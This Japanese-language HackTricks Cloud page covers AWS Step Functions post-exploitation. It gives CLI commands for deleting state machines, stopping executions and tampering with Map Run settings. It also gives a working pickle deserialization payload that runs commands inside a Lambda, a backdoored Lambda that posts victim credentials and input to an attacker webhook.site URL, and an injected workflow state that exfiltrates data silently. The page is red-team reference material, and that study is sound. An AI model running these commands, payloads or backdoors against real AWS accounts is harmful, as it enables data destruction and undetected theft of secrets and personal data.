AWS - Step Functions Post Exploitation
Tip
学んで実践する AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks をサポートする
- subscription plans を確認してください!
- 参加する 💬 Discord group または telegram group に参加するか、Twitter 🐦 @hacktricks_live をフォローしてください。
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Step Functions
For more information about this AWS service, check:
states:RevealSecrets
この権限により、実行内のシークレットデータを表示することができます。
そのためには、Inspection level を TRACE に設定し、revealSecrets パラメータを true にする必要があります。
.png)
states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias
これらの権限を持つ攻撃者は、ステートマシン、そのバージョン、およびエイリアスを永久に削除できる可能性があります。これは重要なワークフローを妨げ、データ損失を引き起こし、影響を受けたステートマシンの復旧と復元に多大な時間を要することがあります。さらに、攻撃者は使用された痕跡を隠蔽したり、フォレンジック調査を妨害したり、重要な自動化プロセスや状態設定を削除して運用を麻痺させる可能性もあります。
Note
- ステートマシンを削除すると、その関連するすべてのバージョンとエイリアスも削除されます。
- ステートマシンのエイリアスを削除しても、そのエイリアスを参照しているステートマシンのバージョンは削除されません。
- 1つ以上のエイリアスから現在参照されているステートマシンのバージョンを削除することはできません。
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
- Potential Impact: 重要なワークフローの中断、データ損失、運用停止。
states:UpdateMapRun
この権限を持つ攻撃者は、Map Run の失敗設定や並列設定を操作でき、許可される子ワークフロー実行の最大数を増減させてサービスのパフォーマンスに直接影響を与える可能性があります。さらに、許容される失敗割合や件数を改ざんしてこれを0に下げることで、アイテムが1件でも失敗した場合にマップラン全体が失敗するようにでき、ステートマシンの実行に直接影響を及ぼし、重要なワークフローを妨害する可能性があります。
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
- 潜在的影響: パフォーマンスの低下、および重要なワークフローの中断。
states:StopExecution
この権限を持つ攻撃者は、任意のステートマシンの実行を停止でき、進行中のワークフローやプロセスを妨害する可能性があります。これにより、トランザクションの未完了、業務の停止、データの破損が発生する恐れがあります。
Warning
このアクションは express state machines ではサポートされていません。
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
- 想定される影響: 実行中のワークフローの中断、業務のダウンタイム、およびデータの破損の可能性。
states:TagResource, states:UntagResource
攻撃者は Step Functions リソースのタグを追加、変更、または削除することで、組織のコスト配分、リソース追跡、およびタグに基づくアクセス制御ポリシーを混乱させる可能性があります。
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
潜在的な影響: コスト配分、リソース追跡、タグベースのアクセス制御ポリシーの混乱。
states:StartExecution -> Input Injection Into Dangerous Sinks
states:StartExecution はデータプレーンのエントリーポイントです。ステートマシンが攻撃者制御の入力を危険なシンクを含むタスクに渡す場合(例えば pickle.loads(base64.b64decode(payload_b64)) を実行する Lambda)、ステートマシンを更新する権限がなくても、実行の出力を介して StartExecution を code execution や secret exfiltration に変換できることがあります。
Discover the workflow and the invoked Lambda
もし states:List* / states:Describe* を持っていれば、ステートマシンの定義を列挙して読み取ることができます:
REGION=us-east-1
SM_ARN="<state_machine_arn>"
aws stepfunctions describe-state-machine --region "$REGION" --state-machine-arn "$SM_ARN" --query definition --output text
もし lambda:GetFunction の権限もある場合、Lambda のコードバンドルをダウンロードして、入力がどのように処理されるか(および unsafe deserialization が存在するかどうか)を確認できます:
LAMBDA_ARN="<lambda_arn_from_definition>"
CODE_URL="$(aws lambda get-function --region "$REGION" --function-name "$LAMBDA_ARN" --query 'Code.Location' --output text)"
curl -sSL "$CODE_URL" -o /tmp/lambda.zip
unzip -o /tmp/lambda.zip -d /tmp/lambda_code >/dev/null
ls -la /tmp/lambda_code
例: 実行入力に含まれる crafted pickle (Python)
もし Lambda が攻撃者が制御するデータを unpickle する場合、悪意のある pickle は deserialization 中にコードを実行できます。Lambda ランタイムで Python 式を評価する例の payload:
PAYLOAD_B64="$(python3 - <<'PY'
import base64, pickle
class P:
def __reduce__(self):
# Replace with a safe proof (e.g. "1+1") or a target-specific read.
return (eval, ("__import__('os').popen('id').read()",))
print(base64.b64encode(pickle.dumps(P())).decode())
PY
)"
EXEC_ARN="$(aws stepfunctions start-execution --region "$REGION" --state-machine-arn "$SM_ARN" --input "{\"payload_b64\":\"$PAYLOAD_B64\"}" --query executionArn --output text)"
aws stepfunctions describe-execution --region "$REGION" --execution-arn "$EXEC_ARN" --query output --output text
影響: task role が持つ権限(Secrets Manager reads, S3 writes, KMS decrypt, etc.)は、細工された入力によって到達可能になり、その結果が Step Functions execution output に返される可能性があります。
states:UpdateStateMachine, lambda:UpdateFunctionCode
次の権限を持つユーザーまたはロールを侵害した攻撃者は:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}
…は、Lambda backdooring と Step Function logic manipulation を組み合わせることで、high-impact and stealthy post-exploitation attackを実行できます。
このシナリオは、被害者が AWS Step Functions to orchestrate workflows that process sensitive input を使用しており、credentials、tokens、またはPIIのような機密入力を処理するワークフローをオーケストレーションしていることを前提とします。
被害者の呼び出し例:
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
If the Step Function is configured to invoke a Lambda like LegitBusinessLogic, the attacker can proceed with 2つのステルス攻撃バリアント:
Lambda 関数を更新
攻撃者は、Step Function で既に使用されている Lambda 関数(LegitBusinessLogic)のコードを変更し、入力データを密かに exfiltrate する。
# send_to_attacker.py
import requests
def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
zip function.zip send_to_attacker.py
aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker
Step Function に悪意のあるステートを追加する
代わりに、攻撃者は Step Function の定義を更新して、ワークフローの先頭に exfiltration state を挿入できます。
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker
攻撃者はさらにステルスにステート定義を次のように更新できる: { “Comment”: “Backdoored for Exfiltration”, “StartAt”: “ExfiltrateSecrets”, “States”: { “ExfiltrateSecrets”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker”, “InputPath”: “$”, “ResultPath”: “$.exfil”, “Next”: “OriginalState” }, “OriginalState”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic”, “End”: true } } } 被害者はこの違いに気付かないだろう。
被害者のセットアップ(エクスプロイトのコンテキスト)
- A Step Function (
LegitStateMachine) は機密性の高いユーザー入力を処理するために使用されている。 - これが
LegitBusinessLogicのような1つまたは複数の Lambda functions を呼び出す。
潜在的な影響:
- secrets、credentials、API keys、PII を含む機密データのsilent exfiltration。
- ワークフローの実行には目に見えるエラーや失敗が発生しない。
- Lambda のコードや実行トレースを監査しない限り検出は困難。
- バックドアがコードや ASL logic に残っている場合、長期的な persistence を可能にする。
Tip
学んで実践する AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks をサポートする
- subscription plans を確認してください!
- 参加する 💬 Discord group または telegram group に参加するか、Twitter 🐦 @hacktricks_live をフォローしてください。
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
HackTricks Cloud

